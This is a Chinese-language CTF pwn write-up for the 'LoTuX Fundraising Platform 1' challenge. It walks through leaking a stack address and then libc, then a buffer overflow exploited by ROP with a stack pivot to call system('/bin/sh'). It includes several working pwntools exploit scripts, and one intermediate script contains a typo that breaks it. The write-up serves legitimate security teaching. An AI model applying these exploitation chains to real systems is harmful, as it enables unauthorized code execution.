# [CH] LoTuX Fundraising Platform 1 ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 下載後發現只有一個 binary `chal`,所以先把它拿去 IDA 看看。稍微整理一下反編譯的 code 之後 ![](https://hackmd.io/_uploads/Sk_oVTzD2.png) ![](https://hackmd.io/_uploads/HJIMSpzv3.png) 分析一下 `register_donation`,可以發現裡面 `buf` 的位置在 `$rbp - 0x10`,且會讀取 0x10 個 bytes 到 `buf` 然後透過 `printf("... %s", buf)` 印出來。所以可以透過填滿 0x10 個 bytes 然後 `printf` 時就會一併印出 `main` 的 rbp 的位址。 ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') r.interactive() ``` 再分析一下 `main`,可以發現有一個很明顯的 BOF 在 `read(0, buf, 0x40)` 這邊,又因為這題沒有 PIE,所以可以使用 `chal` 本身自帶的 ROP Gadget 去做 ROP。 接下來看一下 `chal` 有什麼可以用的 ROP Gadget ![](https://hackmd.io/_uploads/HJs5opfw3.png) 因為 BOF 的長度只有 0x20,沒有辦法一次把 ROP 全部寫完,所以說一定會需要對 stack 做一寫更改。又因為我們已經知道 rbp 的位址,所以可以透過 `pop rsp` 來更改 stack 頂端的位址來拉長 ROP 的長度。 先構建一下目前的 ROP Chain ``` | ??? ; buf | ??? | ??? | ??? | ??? ; rbp | 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | buf - 0x18 ; 減掉 0x18 是為了 pop 完 r13, r14, r15 可以直接接 buf 的內容 ``` 接著因為這題要 get shell,需要用到 libc 裡面的函數,所以要 leak libc 的 base address。 ``` | 0x401353 ; (buf) pop rdi ; ret | printf_got | puts_plt | ??? | ??? ; rbp | 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | buf - 0x18 ; 減掉 0x18 是為了 pop 完 r13, r14, r15 可以直接接 buf 的內容 ``` 這樣就可以 leak 出 `printf_got` 裡面 `printf` 的 address 然後計算出 libc 的 base address。 ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d puts_plt = 0x401080 printf_got = 0x404020 gdb.attach(r) r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, b'aaaaaaaa', b'aaaaaaaa', pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') r.interactive() ``` 接著可以看一下 `main` 的反組譯碼 ![](https://hackmd.io/_uploads/SkIvGAfwh.png) 可以看到我們可以透過控制 rbp 的位址,然後利用 `main + 51` 開始的 instruction 重新讀一段新的 ROP Chain 進來 ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d read_instruction = 0x4012c8 puts_plt = 0x401080 printf_got = 0x404020 gdb.attach(r) r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, read_instruction, rbp + 0x20p, pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') r.interactive() ``` 接下來就用跟剛剛一樣的方法,改 rsp 然後直接 get shell 了。 Solve Script : ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('lotuxctf.com', 10003) r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d read_instruction = 0x4012c8 puts_plt = 0x401080 printf_got = 0x404020 r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, read_instruction, rbp + 0x20, pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') binsh = libc + 0x00000000001b45bd system_addr = libc + 0x000000000052290 r.sendline(flat( pop_rdi_ret, binsh, system_addr, b'aaaaaaaa', rbp + 0x20, pop_rsp_r13_r14_r15_ret, rbp - 0x18 )) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}